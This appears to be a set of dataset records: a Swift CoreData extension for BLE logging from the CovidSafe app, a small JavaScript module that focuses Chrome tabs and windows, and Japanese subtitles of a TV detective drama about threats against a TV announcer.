text
stringlengths
2
100k
meta
dict
// // BLELog+CoreDataProperties.swift // CovidSafe // // Copyright © 2020 Australian Government. All rights reserved. // // import Foundation import CoreData import UIKit import CoreBluetooth extension BLELog { enum CodingKeys: String, CodingKey { case timestamp case message } @nonobjc public class func fetchRequest() -> NSFetchRequest<Encounter> { return NSFetchRequest<Encounter>(entityName: "BLELog") } @nonobjc public class func fetchRequestForRecords() -> NSFetchRequest<Encounter> { let fetchRequest = NSFetchRequest<Encounter>(entityName: "BLELog") fetchRequest.sortDescriptors = [NSSortDescriptor(key: "timestamp", ascending: true)] return fetchRequest } @NSManaged public var timestamp: Date? @NSManaged public var message: String? // MARK: - Encodable public func encode(to encoder: Encoder) throws { var container = encoder.container(keyedBy: CodingKeys.self) try container.encode(Int(timestamp!.timeIntervalSince1970), forKey: .timestamp) try container.encode(message, forKey: .message) } }
{ "pile_set_name": "Github" }
/** * Implementation of Tabli browser interface for Google Chrome, using extensions API * * Only import this module from Chrome! */ const chromeBrowser = { // make a tab (identified by tab id) the currently focused tab: activateTab: (tabId, callback) => { chrome.tabs.update(tabId, { active: true }, callback) }, setFocusedWindow: (windowId, callback) => { chrome.windows.update(windowId, { focused: true }, callback) } } module.exports = chromeBrowser
{ "pile_set_name": "Github" }
1 00:01:02,754 --> 00:01:07,825 (男の荒い息づかい) (パソコンのキーボードを打つ音) 2 00:01:07,825 --> 00:01:09,827 (花堂彩香) 「真実は 2つに1つ」 3 00:01:09,827 --> 00:01:11,813 「フィフティーフィフティーの キャットファイト」 4 00:01:11,813 --> 00:01:13,815 「『日本一のクイズバラエティ ○×クイーン』」 5 00:01:13,815 --> 00:01:15,800 「司会の花堂彩香です」 6 00:01:15,800 --> 00:01:17,869 「(拍手)」 7 00:01:17,869 --> 00:01:20,822 「そして 本日の解答者は こちらの皆さんです」 8 00:01:20,822 --> 00:01:24,809 「さて 本日の栄冠は 誰の手に?」 9 00:01:24,809 --> 00:01:27,812 「○○? ××? ○×クイズ!」 10 00:01:27,812 --> 00:01:30,815 (リモコンを押す音) 11 00:01:30,815 --> 00:01:32,815 「○×クイズ!」 12 00:01:34,802 --> 00:01:36,802 「○×クイズ!」 13 00:01:37,822 --> 00:01:39,822 「○×クイズ!」 14 00:01:40,825 --> 00:01:42,827 「○×クイズ!」 15 00:01:42,827 --> 00:01:44,827 「花堂彩香…」 16 00:01:49,817 --> 00:01:51,817 「○×クイズ!」 17 00:02:02,797 --> 00:02:04,816 (探偵)悪質な書き込み? (冴島響子)そう。 18 00:02:04,816 --> 00:02:07,802 その子のブログに 毎日のようにあるみたい。 19 00:02:07,802 --> 00:02:10,822 ふ~ん…。 実は その子なんだけど…。 20 00:02:10,822 --> 00:02:13,822 (ノック) あっ… どうぞ。 21 00:02:16,828 --> 00:02:18,796 ああ… 響子先輩。 ご無沙汰しています。 22 00:02:18,796 --> 00:02:20,815 いらっしゃい。 23 00:02:20,815 --> 00:02:22,817 探偵 彼女が今回の依頼人。 24 00:02:22,817 --> 00:02:24,819 あっ どうも…。 25 00:02:24,819 --> 00:02:29,819 初めまして。 花堂彩香と申します。 26 00:02:30,825 --> 00:02:32,827 ハハッ…。 27 00:02:32,827 --> 00:02:35,813 彩香ね 大学の後輩なの。 しかも 法学部出身。 28 00:02:35,813 --> 00:02:38,816 ふ~ん…。 ご存じのとおり→ 29 00:02:38,816 --> 00:02:41,819 全く畑違いの仕事に 就いちゃいましたけど。 30 00:02:41,819 --> 00:02:44,822 失礼ですけど お仕事は何を? 31 00:02:44,822 --> 00:02:46,808 えっ? 32 00:02:46,808 --> 00:02:48,826 あっ… 彩香は 帝都テレビきっての→ 33 00:02:48,826 --> 00:02:51,826 清純派アナとして 今 大人気のアナウンサーなの。 34 00:02:56,818 --> 00:02:58,820 ああ~ そうですか。 35 00:02:58,820 --> 00:03:01,823 すいません。 そっちの世界は疎いもので。 36 00:03:01,823 --> 00:03:03,823 いいえ…。 まあ どうぞ。 37 00:03:09,814 --> 00:03:11,814 どうぞ。 すいません。 38 00:03:12,800 --> 00:03:24,879 ♬~ 39 00:03:24,879 --> 00:03:27,815 で 探偵さん お名前は? 40 00:03:27,815 --> 00:03:30,818 匿名でやらせてもらってます。 特殊な仕事なもんでね。 41 00:03:30,818 --> 00:03:32,820 匿名…。 42 00:03:32,820 --> 00:03:37,842 あの… 本当にお願いして 大丈夫なんですよね? 43 00:03:37,842 --> 00:03:39,894 腕は保証するわ。 44 00:03:39,894 --> 00:03:43,815 で 依頼だけど 彩香のブログに 悪質な書き込みをしてる人物を→ 45 00:03:43,815 --> 00:03:45,817 特定するっていうので いいのよね? 46 00:03:45,817 --> 00:03:48,820 ええ。 それと こんなものが→ 47 00:03:48,820 --> 00:03:50,820 アナウンス部に 送られてきたんです。 48 00:03:54,909 --> 00:03:56,909 なんだ? これ…。 49 00:03:58,813 --> 00:04:00,815 「花堂彩香は嘘つきだ」 50 00:04:00,815 --> 00:04:02,817 「この写真を ばらまかれたくなければ→ 51 00:04:02,817 --> 00:04:04,936 今すぐ帝都テレビを辞めろ!」 52 00:04:04,936 --> 00:04:07,805 ブログの書き込み犯と 同一人物かしら? 53 00:04:07,805 --> 00:04:10,825 犯人に心当たりは? いいえ。 54 00:04:10,825 --> 00:04:12,825 全く? はい。 55 00:04:14,846 --> 00:04:17,846 警察に頼んだほうが 早いんじゃないですか? 56 00:04:18,816 --> 00:04:22,820 私 秋からの新番組が 決まったばかりなんです。 57 00:04:22,820 --> 00:04:24,820 大事にはしたくなくて…。 58 00:04:25,823 --> 00:04:29,827 私にとって 今が一番大事な時なんです。 59 00:04:29,827 --> 00:04:33,827 私からも お願い。 彼女の力になってあげて。 60 00:04:34,816 --> 00:04:36,816 お願いします。 61 00:04:44,826 --> 00:04:48,813 わかった。 引き受けよう。 62 00:04:48,813 --> 00:04:51,813 ありがとうございます。 63 00:04:54,819 --> 00:04:58,823 これは どう考えたって 顔見知りの犯行だろ。 64 00:04:58,823 --> 00:05:00,825 お前 彼女の昔の男 知らないのか? 65 00:05:00,825 --> 00:05:04,812 何人かは知ってるけど 全員は把握してないわよ。 66 00:05:04,812 --> 00:05:06,798 大勢いるような口ぶりだな。 67 00:05:06,798 --> 00:05:09,798 だって こんだけの美人だもの。 いたって おかしくないでしょ。 68 00:05:10,818 --> 00:05:19,844 ♬~ 69 00:05:19,844 --> 00:05:22,844 清純派ねぇ…。 70 00:05:27,819 --> 00:05:29,821 〈匿名探偵〉 71 00:05:29,821 --> 00:05:32,821 〈心優しきトラブルシューター〉 72 00:05:33,825 --> 00:05:36,828 〈ハードボイルドを 身にまとった男の→ 73 00:05:36,828 --> 00:05:39,828 本当の名を知る者はいない〉 74 00:05:52,760 --> 00:05:55,947 (青島一平) 花堂彩香からの依頼!? 75 00:05:55,947 --> 00:05:57,815 僕 大ファンなんですよ! 76 00:05:57,815 --> 00:05:59,817 (タケシ)実は俺も…! 77 00:05:59,817 --> 00:06:01,819 (青島)うわぁー! 78 00:06:01,819 --> 00:06:03,821 それ ネットオークションで 1万円するやつ。 79 00:06:03,821 --> 00:06:05,890 1万円!? ただのうちわがか? 80 00:06:05,890 --> 00:06:08,826 いやぁ この笑顔 たまらないねぇ~。 81 00:06:08,826 --> 00:06:10,862 たまんねえ。 82 00:06:10,862 --> 00:06:12,797 あっ 痛っ! 83 00:06:12,797 --> 00:06:14,799 お前ら わかりやすい女が 好きなんだねぇ。 84 00:06:14,799 --> 00:06:17,802 まあ そういうわけだから 犯人のあたり つけとくてくれよ。 85 00:06:17,802 --> 00:06:20,821 一平だったら お前 ブログとか そういうのから 調べられるだろ。 86 00:06:20,821 --> 00:06:22,807 はい。 俺は 彩香の周辺を探る。 87 00:06:22,807 --> 00:06:25,807 えーっ! ちょっと ずるいな 自分ばっかり。 88 00:06:26,811 --> 00:06:29,814 バカ野郎 お前。 いいから つべこべ言わずにやれ。 89 00:06:29,814 --> 00:06:40,825 ♬~ 90 00:06:40,825 --> 00:06:42,827 IDカードかぁ…。 91 00:06:42,827 --> 00:06:44,812 (エレベーターの到着音) 92 00:06:44,812 --> 00:07:11,812 ♬~ 93 00:07:13,808 --> 00:07:15,808 よーし。 94 00:07:19,814 --> 00:07:22,817 (柿沢靖子) 彩香 脅迫の件 大丈夫? 95 00:07:22,817 --> 00:07:26,821 どうするつもりなの? なんとかするから 大丈夫。 96 00:07:26,821 --> 00:07:30,808 そう…。 写真が流出しなきゃいいけど…。 97 00:07:30,808 --> 00:07:33,828 (彩香)そんな事より 最近 ヤッコ 少し太ったんじゃない? 98 00:07:33,828 --> 00:07:35,813 えっ そう? 99 00:07:35,813 --> 00:07:37,798 ヤッコは ピッタリした服が多いから→ 100 00:07:37,798 --> 00:07:41,819 気をつけないとね。 そうだね…。 101 00:07:41,819 --> 00:07:43,819 私 会議だから 行くね。 102 00:07:45,823 --> 00:07:48,826 あっ すいません すいません…。 103 00:07:48,826 --> 00:07:50,828 (木野リカ)柿沢 ちょっと。 (靖子)はい。 104 00:07:50,828 --> 00:07:53,828 (リカ)その衣装は 何? ボディコンみたいなの着て。 105 00:07:54,799 --> 00:07:56,817 (靖子)おかしいですか? 106 00:07:56,817 --> 00:07:58,803 もっと清潔感のあるものを 選びなさい。 107 00:07:58,803 --> 00:08:01,822 でも 部長が派手にしろって。 108 00:08:01,822 --> 00:08:04,842 部長の言いなりになって どうするの? 109 00:08:04,842 --> 00:08:06,842 このままじゃ あなた 崖っぷちよ。 110 00:08:08,813 --> 00:08:11,849 (靖子)すいません。 (安藤まみ)木野さん。 111 00:08:11,849 --> 00:08:13,818 資料のコピーです。 そこ 置いといて。 112 00:08:13,818 --> 00:08:15,818 はい。 113 00:08:16,821 --> 00:08:20,821 今後は 見た目より 知性で勝負してちょうだい。 114 00:08:31,886 --> 00:08:34,805 (加藤玲奈)相変わらず ニコリともしないんだから。 115 00:08:34,805 --> 00:08:36,891 (吉井沙織)「アナウンサーは 顔より知性よ」→ 116 00:08:36,891 --> 00:08:38,826 なんて言ってるけど→ 117 00:08:38,826 --> 00:08:41,826 あれじゃ ただの 不機嫌な おばさんよね。 118 00:08:42,813 --> 00:08:45,816 彩香先輩の写真も 流出しちゃえばいいのに。 119 00:08:45,816 --> 00:08:48,819 そうしたら うちらの時代が来るかも。 120 00:08:48,819 --> 00:08:50,821 (沙織・玲奈)ねえ~。 121 00:08:50,821 --> 00:08:53,858 (玲奈)ねえ あのおじさん なんかキモい。 122 00:08:53,858 --> 00:08:56,827 (沙織)本当だ。 うわっ こっち見た。 123 00:08:56,827 --> 00:08:59,814 タダ見すんなっつーの。 124 00:08:59,814 --> 00:09:03,851 お前の事なんか 見てねえよ。 小娘が…。 125 00:09:03,851 --> 00:09:05,851 小娘が…。 126 00:09:06,821 --> 00:09:09,824 お疲れさまです 彩香先輩。 お疲れさま。 127 00:09:09,824 --> 00:09:13,844 予定どおり 新番組始まるんですよね? 128 00:09:13,844 --> 00:09:17,815 ええ。 (まみ)はぁ~ よかったぁ。 129 00:09:17,815 --> 00:09:20,818 脅迫なんかに負けちゃ ダメですからね。 130 00:09:20,818 --> 00:09:22,818 ありがとう。 131 00:09:30,828 --> 00:09:34,815 クーッ! 怖い世界だね。 132 00:09:34,815 --> 00:09:36,817 見た目からは 想像も出来ねえや。 133 00:09:36,817 --> 00:09:39,820 で 何かわかりましたか? 134 00:09:39,820 --> 00:09:44,809 いや。 だが 犯人は 男とは限らないな。 135 00:09:44,809 --> 00:09:46,827 えっ… まさか うちの女子アナが? 136 00:09:46,827 --> 00:09:48,827 こっちを見るな。 137 00:09:50,815 --> 00:09:53,834 仲間内で 怪しい人物はいないか? 138 00:09:53,834 --> 00:09:58,823 いえ…。 まあ お互い 多少思うところはあっても→ 139 00:09:58,823 --> 00:10:00,823 さすがに そこまでは…。 140 00:10:03,778 --> 00:10:06,797 (長山逸朗)頭皮 硬えな おい。 141 00:10:06,797 --> 00:10:09,800 (長山)ストレス たまってんじゃねえのか? 142 00:10:09,800 --> 00:10:13,854 いや… 見たくもない世界を 垣間見たせいですかね。 143 00:10:13,854 --> 00:10:20,811 だけど どこの世界でも 存在価値は あるんじゃねえの? 144 00:10:20,811 --> 00:10:23,831 その中にいる人間でも→ 145 00:10:23,831 --> 00:10:28,831 こっちが思ってる以上に 必死に生きてるもんだよ。 146 00:10:29,820 --> 00:10:32,807 そんなもんですかね…。 147 00:10:32,807 --> 00:10:46,807 ♬~ 148 00:10:55,813 --> 00:10:57,832 (リカ)おはよう。 (靖子)おはようございます。 149 00:10:57,832 --> 00:11:00,832 (まみ)おはようございます。 (彩香)おはようございます。 150 00:11:02,820 --> 00:11:04,822 (リカ)そちら どなた? 151 00:11:04,822 --> 00:11:08,826 どうも 私 CAREER CHANNEL HONG KONGで→ 152 00:11:08,826 --> 00:11:11,795 ディレクターをしております 張 立山と申します。 153 00:11:11,795 --> 00:11:13,797 立山チャンと呼んでください。 154 00:11:13,797 --> 00:11:15,799 日本のギャグも知ってます。 155 00:11:15,799 --> 00:11:17,799 立山! 156 00:11:20,821 --> 00:11:22,957 今回 「アナウンサーのお仕事」 という企画で→ 157 00:11:22,957 --> 00:11:25,826 花堂彩香さんの 取材をする事になりまして…。 158 00:11:25,826 --> 00:11:28,812 すみませんが 部外者は立ち入り禁止なんです。 159 00:11:28,812 --> 00:11:31,815 部長の許可なら 取ってあります。 160 00:11:31,815 --> 00:11:35,815 さすが 根回しが早いわね。 161 00:11:40,824 --> 00:11:43,824 早速 取材始めましょうか。 はい。 162 00:11:47,798 --> 00:11:50,801 (彩香)東京都民グループは 報道の自由や→ 163 00:11:50,801 --> 00:11:53,787 国民の知る権利が 侵害されるとして→ 164 00:11:53,787 --> 00:11:56,807 今後も デモ活動を続けていく方針です。 165 00:11:56,807 --> 00:11:58,809 これに対して政府は…。 166 00:11:58,809 --> 00:12:01,812 ここなんですけど もう少し 視聴者にわかりやすいように…。 167 00:12:01,812 --> 00:12:03,797 (ディレクター)ああ もう いいから いいから。 168 00:12:03,797 --> 00:12:05,816 彩香さんの仕事は 笑顔。 169 00:12:05,816 --> 00:12:07,816 とにかく ニコニコ笑っててください。 170 00:12:12,823 --> 00:12:14,825 (部長)昨日の特番 かなり評判いいよ。 171 00:12:14,825 --> 00:12:18,812 さすが 我が社のエースだ。 ありがとうございます。 172 00:12:18,812 --> 00:12:22,800 部長 新番組は 私ではなく もっと若手に…。 173 00:12:22,800 --> 00:12:26,820 スポンサーが 清純派の君がいいと言ってるんだ。 174 00:12:26,820 --> 00:12:28,822 これからも その調子で頼むよ。 175 00:12:28,822 --> 00:12:57,801 ♬~ 176 00:12:57,801 --> 00:13:01,801 ♬~ 177 00:13:04,825 --> 00:13:06,825 お疲れさん。 178 00:13:12,816 --> 00:13:24,812 ♬~ 179 00:13:24,812 --> 00:13:26,797 おはようございます。 おはようございます。 180 00:13:26,797 --> 00:13:29,817 柿沢靖子さんですよね? はい。 181 00:13:29,817 --> 00:13:32,803 彩香さんの同僚のお話も ちょっと お伺いしたいんですが→ 182 00:13:32,803 --> 00:13:35,823 いいですか? ええ どうぞ。 183 00:13:35,823 --> 00:13:39,827 彩香の取材 大変だったでしょう。 あの子 忙しいから。 184 00:13:39,827 --> 00:13:41,812 ええ まあ…。 185 00:13:41,812 --> 00:13:44,815 正直 驚きましたよ。 186 00:13:44,815 --> 00:13:47,818 アナウンサーの方って テレビに映っていない間も→ 187 00:13:47,818 --> 00:13:49,820 ずっと努力されているんですね。 188 00:13:49,820 --> 00:13:51,805 何かと勉強しなきゃいけない事も 多いですから。 189 00:13:51,805 --> 00:13:55,826 はあ… あっ そういえば→ 190 00:13:55,826 --> 00:13:58,812 彩香さん宛てに 何かぶっそうなもの→ 191 00:13:58,812 --> 00:14:01,815 送りつけられたと 噂を聞いたんですが…。 192 00:14:01,815 --> 00:14:04,818 ええ…。 でも 大丈夫ですよ。 193 00:14:04,818 --> 00:14:07,818 彩香なら 自分でなんとかすると思います。 194 00:14:09,807 --> 00:14:12,810 彩香さんの事 よく ご存じなんですね。 195 00:14:12,810 --> 00:14:15,810 同期入社の戦友同士ですから。 196 00:14:17,815 --> 00:14:19,817 おお… 『うしみつどきショッピング』。 197 00:14:19,817 --> 00:14:22,820 柿沢さんが 出演なさってるんですか? 198 00:14:22,820 --> 00:14:26,824 ええ。 唯一のレギュラー番組なんです。 199 00:14:26,824 --> 00:14:28,824 ああ…。 では。 200 00:14:30,828 --> 00:14:32,813 彩香は特別です。 201 00:14:32,813 --> 00:14:35,816 人気ランキングは 常に1位だし→ 202 00:14:35,816 --> 00:14:38,802 レギュラー番組も たくさん持ってる。 203 00:14:38,802 --> 00:14:41,822 努力のたまたまですね。 204 00:14:41,822 --> 00:14:45,809 たまもの? おお… たまものですね。 205 00:14:45,809 --> 00:14:48,796 努力なら みんなしてるわ。 206 00:14:48,796 --> 00:14:51,815 でも この世界は平等じゃない。 207 00:14:51,815 --> 00:14:55,803 私たちは 自分の居場所を 見つけなきゃいけないんです。 208 00:14:55,803 --> 00:14:57,803 はあ…。 209 00:14:58,806 --> 00:15:01,825 もう少し 誰かいねえかな…。 210 00:15:01,825 --> 00:15:03,811 (原川みのり)いたー! 211 00:15:03,811 --> 00:15:05,813 キャリアチャンネルの 立山ディレクターですよね? 212 00:15:05,813 --> 00:15:08,832 そうですけど…。 『夜まちナビ』の司会をしています→ 213 00:15:08,832 --> 00:15:10,801 原川みのりです。 どうも…。 214 00:15:10,801 --> 00:15:13,821 昨日は出張で ごあいさつ出来なかったので→ 215 00:15:13,821 --> 00:15:16,824 これ 私の写真集なんです。 216 00:15:16,824 --> 00:15:19,827 あっ…。 名刺代わりに どうぞ。 217 00:15:19,827 --> 00:15:21,827 あっ そりゃどうも…。 218 00:15:22,796 --> 00:15:24,796 これは すごい! 219 00:15:29,853 --> 00:15:31,805 (みのり)でしょう! 220 00:15:31,805 --> 00:15:34,842 全国書店売り上げ ナンバー1なんですよ。 221 00:15:34,842 --> 00:15:37,811 私にも密着してほしいなぁ…。 222 00:15:37,811 --> 00:15:40,814 あっ… 機会があれば ぜひ。 223 00:15:40,814 --> 00:15:43,817 今夜 早速 どうですか? 今夜…? 224 00:15:43,817 --> 00:15:47,817 女子アナの秘密 いっぱい教えちゃいますよ。 225 00:15:52,810 --> 00:15:55,813 なんで こうなるんだ…。 226 00:15:55,813 --> 00:15:59,883 へえ~ それじゃあ 彩香さんだけ みんなより給料が高いんだ。 227 00:15:59,883 --> 00:16:01,819 あの若さで 課長待遇なの。 228 00:16:01,819 --> 00:16:04,872 エースの彩香を 辞めさせないためよ。 229 00:16:04,872 --> 00:16:06,807 なるほどねぇ。 230 00:16:06,807 --> 00:16:10,828 いいわよねぇ。 みんな 衣装代で大変なのに。 231 00:16:10,828 --> 00:16:13,797 自前なの? そう。 232 00:16:13,797 --> 00:16:16,817 うちらは タレントじゃなくて ただの社員だから。 233 00:16:16,817 --> 00:16:18,817 ただの? 234 00:16:22,806 --> 00:16:25,792 ジャーン! 写真集と同じ水着。 235 00:16:25,792 --> 00:16:31,798 ♬~ 236 00:16:31,798 --> 00:16:33,800 いいでしょ? 237 00:16:33,800 --> 00:16:35,800 ああ… いいね…。 238 00:16:36,820 --> 00:16:38,805 じゃあ 取材始めましょっか。 239 00:16:38,805 --> 00:16:42,805 えーっと…。 立川だよ! 240 00:16:43,827 --> 00:16:46,813 立山さんじゃなかったっけ? 241 00:16:46,813 --> 00:16:50,801 そう 立山チャン 一応ね…。 242 00:16:50,801 --> 00:16:54,821 俺が もう 本物だった頃 名刺は まだ偽物だった。 243 00:16:54,821 --> 00:16:56,821 これ 本物よね…? 244 00:17:00,827 --> 00:17:02,813 はい もしもし? 245 00:17:02,813 --> 00:17:05,816 現在 使われていませんって…。 246 00:17:05,816 --> 00:17:08,816 あなた ディレクターじゃないの? 247 00:17:10,821 --> 00:17:15,826 ディレクターだって言うから ついてきたのに。 最低! 248 00:17:15,826 --> 00:17:17,811 こんなところに連れ込んで。 249 00:17:17,811 --> 00:17:19,813 連れ込んだのは 君でしょ。 250 00:17:19,813 --> 00:17:21,813 取材じゃないんなら 帰ります。 えっ…。 251 00:17:22,816 --> 00:17:24,818 撤収。 252 00:17:24,818 --> 00:17:26,803 早いなぁ…。 253 00:17:26,803 --> 00:17:28,822 (ドアの閉まる音) 254 00:17:28,822 --> 00:17:30,857 お手。 255 00:17:30,857 --> 00:17:32,809 なんだよ お前 お手なんかすんなよ。 256 00:17:32,809 --> 00:17:35,862 どこで覚えたんだ? そんなの。 えっ? おい。 ワン! ワン! 257 00:17:35,862 --> 00:17:37,862 (吠える声) うわっ! ハハハハ…! 258 00:17:38,815 --> 00:17:41,818 わかりましたよ 犯人! おお~ 早いな お前。 259 00:17:41,818 --> 00:17:44,805 僕は 彩香さんのためだと思うと いてもたってもいられなくて。 260 00:17:44,805 --> 00:17:46,807 どうだった? 261 00:17:46,807 --> 00:17:48,807 (吠える声) おおっ! 262 00:17:49,826 --> 00:17:51,795 (青島)幹本猛 31歳。 263 00:17:51,795 --> 00:17:53,797 四ツ木商事に勤める エリートです。 264 00:17:53,797 --> 00:17:55,882 確かなのか? もちろん! 265 00:17:55,882 --> 00:17:58,819 幹本の奴 プロキシを中継して→ 266 00:17:58,819 --> 00:18:00,904 IPアドレスを 偽装してたんですよ。 267 00:18:00,904 --> 00:18:03,790 TCP/IPを割り出すために RARPプロトコルを使って→ 268 00:18:03,790 --> 00:18:06,827 Linuxの逆引きUNIX…。 おい… ちょっと 待て待て。 269 00:18:06,827 --> 00:18:09,813 とにかく 見つけたんだよな? はい。 270 00:18:09,813 --> 00:18:11,798 よし。 271 00:18:11,798 --> 00:18:14,818 幹本のパソコンの中身を お見せしますね。 272 00:18:14,818 --> 00:18:17,821 うわぁ~ 悪い奴だな お前。 273 00:18:17,821 --> 00:18:19,821 これ 得意分野ですから。 274 00:18:26,813 --> 00:18:29,813 こいつが犯人か…。 275 00:20:31,755 --> 00:20:37,811 ♬~ 276 00:20:37,811 --> 00:20:40,811 幹本猛さんですよね? 277 00:20:43,784 --> 00:20:46,820 大きな会社ですねぇ。 278 00:20:46,820 --> 00:20:49,806 上で ちょっと お話伺っても よろしいでしょうか? 279 00:20:49,806 --> 00:20:51,806 この事について。 280 00:20:55,779 --> 00:20:58,815 (幹本 猛)あっ そうですか…。 では ここでは あれなんで→ 281 00:20:58,815 --> 00:21:01,818 別の場所で お話させてください。 ああ 結構ですよ。 282 00:21:01,818 --> 00:21:03,820 どこまで行きますかね? この辺りで お話させてください。 283 00:21:03,820 --> 00:21:05,822 ああ この辺り… おおっ…。 284 00:21:05,822 --> 00:21:07,822 なんだよ! 285 00:21:08,809 --> 00:21:11,828 俺はな…→ 286 00:21:11,828 --> 00:21:16,817 城南大学 剣道部 第73代主将だ。 287 00:21:16,817 --> 00:21:19,817 その写真を置いて とっとと帰れ。 288 00:21:20,804 --> 00:21:24,804 お前に5秒やろう。 289 00:21:26,810 --> 00:21:32,799 5 4 3…→ 290 00:21:32,799 --> 00:21:34,801 あっ…。 291 00:21:34,801 --> 00:21:36,801 あっ…。 292 00:21:37,804 --> 00:21:40,804 (幹本)痛い 痛い…。 293 00:21:41,808 --> 00:21:45,796 ネットの書き込みぐらい 誰だってするでしょ。 294 00:21:45,796 --> 00:21:48,799 いちいち 探偵雇うなんて 大げさなんですよ。 295 00:21:48,799 --> 00:21:53,804 脅迫状と下着の彩香の写真を 送りつけただろう。 296 00:21:53,804 --> 00:21:57,808 はぁ? そんなもの送ってませんよ。 297 00:21:57,808 --> 00:22:00,808 これは 君のパソコンの中身だ。 298 00:22:04,815 --> 00:22:06,817 どうやって…!? 299 00:22:06,817 --> 00:22:09,820 そんな事は どうだっていい。 300 00:22:09,820 --> 00:22:13,824 脅迫罪と わいせつ物頒布罪。 301 00:22:13,824 --> 00:22:17,811 君がやった事は れっきとした犯罪なんだよ。 302 00:22:17,811 --> 00:22:19,796 いつから ストーキングしてたんだ? 303 00:22:19,796 --> 00:22:21,815 ストーカーじゃないよ! 304 00:22:21,815 --> 00:22:24,818 俺と彩香は 去年まで ずっと つきあってたんだよ。 305 00:22:24,818 --> 00:22:26,820 つきあってた? 306 00:22:26,820 --> 00:22:29,789 結婚の約束までしてたのに 一方的に ふられたんですよ。 307 00:22:29,789 --> 00:22:32,826 チッ… 想像上の話じゃねえだろうな? 308 00:22:32,826 --> 00:22:35,795 事実だよ! 309 00:22:35,795 --> 00:22:40,800 子供が出来たって言われて それで 一緒に病院に行ったら→ 310 00:22:40,800 --> 00:22:43,800 妊娠が間違いだって事が わかって…。 311 00:22:46,823 --> 00:22:49,823 結局 彩香は 仕事を理由に 離れていきました。 312 00:22:50,827 --> 00:22:55,827 上司にも言っちゃったし 同僚にも自慢してたのに…。 313 00:22:56,800 --> 00:23:01,800 俺は あの女に 大恥かかされたんですよ! 314 00:23:02,806 --> 00:23:07,806 そんなのは お前の勝手な逆恨みだ! 315 00:23:09,813 --> 00:23:13,817 あの… すいません。 はぁ? 316 00:23:13,817 --> 00:23:17,821 この事は 公にしないでください。 317 00:23:17,821 --> 00:23:22,826 あのな 事実を調べて報告するのが 俺の仕事なの。 318 00:23:22,826 --> 00:23:24,828 俺 今 つきあってる人いるんです。 ええっ!? 319 00:23:24,828 --> 00:23:27,814 年内に籍だけでも入れようって…。 320 00:23:27,814 --> 00:23:30,800 だったら なんで こんな事を…。 321 00:23:30,800 --> 00:23:33,820 彩香の事が 忘れられなかったんですよ! 322 00:23:33,820 --> 00:23:37,824 探偵さんにだっているでしょ そういう女の1人や2人。 323 00:23:37,824 --> 00:23:39,826 (舌打ち) 324 00:23:39,826 --> 00:23:41,826 (ため息) 325 00:23:43,880 --> 00:23:45,880 お願いします。 326 00:23:46,816 --> 00:23:48,868 警察沙汰にだけは しないでください。 327 00:23:48,868 --> 00:23:50,868 お願いします! 328 00:23:52,822 --> 00:23:55,825 (ため息) 329 00:23:55,825 --> 00:23:57,811 今日のところは 帰っていいよ。 330 00:23:57,811 --> 00:24:02,816 だがな これで済んだわけじゃ ねえからな。 331 00:24:02,816 --> 00:24:05,819 (泣き声) 332 00:24:05,819 --> 00:24:07,819 (ため息) 333 00:24:08,805 --> 00:24:12,826 ♬~(音楽) 334 00:24:12,826 --> 00:24:16,813 (拍手) 335 00:24:16,813 --> 00:24:19,799 そうですか 幹本さんが…。 336 00:24:19,799 --> 00:24:22,819 ああ。 どうするかは 君次第だ。 337 00:24:22,819 --> 00:24:25,822 彼の事は どうでもいいです。 338 00:24:25,822 --> 00:24:27,824 二度と こんな事をしないでくれれば。 339 00:24:27,824 --> 00:24:29,793 うん そうだね。 340 00:24:29,793 --> 00:24:32,793 それじゃあ まあ そういう事で。 341 00:24:37,817 --> 00:24:45,809 ♬~『ラジオ体操の歌』 342 00:24:45,809 --> 00:25:01,825 ♬~ 343 00:25:01,825 --> 00:25:08,815 (携帯電話) 344 00:25:08,815 --> 00:25:11,818 はい。 「一体 どうなってるの!?」 345 00:25:11,818 --> 00:25:13,787 なんだ お前は 朝っぱらから。 346 00:25:13,787 --> 00:25:15,822 「彩香の写真が 出回ってるのよ!」 347 00:25:15,822 --> 00:25:17,822 えっ!? 348 00:25:20,827 --> 00:25:22,827 あのエリート野郎…! 349 00:25:23,797 --> 00:25:25,815 やっぱり 警察に突き出すべきだったのよ。 350 00:25:25,815 --> 00:25:27,817 あなたが甘い事言うから もう こんな事に…。 351 00:25:27,817 --> 00:25:29,817 幹本に会ってくる。 えっ? 352 00:25:30,820 --> 00:25:32,822 もう… 押す! 押すのか…。 353 00:25:32,822 --> 00:25:34,824 もう いい加減 慣れてよ。 354 00:25:34,824 --> 00:25:40,814 ♬~ 355 00:25:40,814 --> 00:25:42,814 あれ? 356 00:25:46,820 --> 00:25:49,806 (阿南幸一)探偵! 阿南さん なんですか? 357 00:25:49,806 --> 00:25:51,825 (阿南)お前 こんなところに 何しに来た? 358 00:25:51,825 --> 00:25:53,810 なんでもいいじゃない。 おい! お前 どこへ…。 359 00:25:53,810 --> 00:25:55,812 幹本 幹本 幹本…。 (棟方)幹本!? 360 00:25:55,812 --> 00:25:58,815 幹本 幹本… 知らない? どこか。 その男なら 殺されたよ。 361 00:25:58,815 --> 00:26:00,800 えっ!? なんで? 362 00:26:00,800 --> 00:26:02,802 いいから 来い。 363 00:26:02,802 --> 00:26:04,804 いいんすか? (阿南)おう。 364 00:26:04,804 --> 00:26:06,804 うっ…。 365 00:26:08,825 --> 00:26:11,811 おい! ここまでだよ。 わかったよ お前 うるせえな。 366 00:26:11,811 --> 00:26:14,864 脇腹をナイフで ひと突き。 367 00:26:14,864 --> 00:26:17,817 出血多量によるショック死だ。 368 00:26:17,817 --> 00:26:20,820 容疑者は? 重要参考人として→ 369 00:26:20,820 --> 00:26:22,806 花堂彩香という女子アナが 連行された。 370 00:26:22,806 --> 00:26:25,825 彩香が? どうして? 371 00:26:25,825 --> 00:26:28,828 遺体のそばに 会社のIDカードが落ちてたんだよ。 372 00:26:28,828 --> 00:26:31,815 事情を聞かないわけには いかんだろ。 373 00:26:31,815 --> 00:26:33,817 阿南さん いいんですか? こいつ。 (阿南)ああ。 374 00:26:33,817 --> 00:26:35,817 うるせえな お前。 375 00:26:39,823 --> 00:26:41,808 私は 殺していません。 376 00:26:41,808 --> 00:26:45,795 では あなたのIDカードが 現場に落ちていた理由を→ 377 00:26:45,795 --> 00:26:47,797 説明して頂けませんかね。 378 00:26:47,797 --> 00:26:49,797 IDカード? 379 00:26:53,803 --> 00:26:55,822 なくなってませんか? 380 00:26:55,822 --> 00:26:58,808 ええ 確かに…。 でも…。 381 00:26:58,808 --> 00:27:00,810 女がマンションに 入っていったという→ 382 00:27:00,810 --> 00:27:03,797 目撃証言もありますが。 